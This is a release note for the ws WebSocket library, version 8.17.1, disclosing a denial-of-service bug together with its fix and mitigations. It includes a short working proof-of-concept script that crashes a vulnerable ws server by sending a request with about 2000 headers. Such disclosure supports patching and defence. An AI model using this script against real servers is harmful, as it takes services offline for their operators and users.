8.17.0->8.17.1Release Notes
websockets/ws (ws)
### [`v8.17.1`](https://togithub.com/websockets/ws/releases/tag/8.17.1) [Compare Source](https://togithub.com/websockets/ws/compare/8.17.0...8.17.1) ### Bug fixes - Fixed a DoS vulnerability ([#2231](https://togithub.com/websockets/ws/issues/2231)). A request with a number of headers exceeding the[`server.maxHeadersCount`][server.maxHeadersCount] threshold could be used to crash a ws server. ```js const http = require('http'); const WebSocket = require('ws'); const server = http.createServer(); const wss = new WebSocket.Server({ server }); server.listen(function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: server.address().port }); request.end(); }); ``` The vulnerability was reported by [Ryan LaPointe](https://togithub.com/rrlapointe) in [https://github.com/websockets/ws/issues/2230](https://togithub.com/websockets/ws/issues/2230). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][--max-http-header-size=size] and/or the [`maxHeaderSize`][maxHeaderSize] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied.
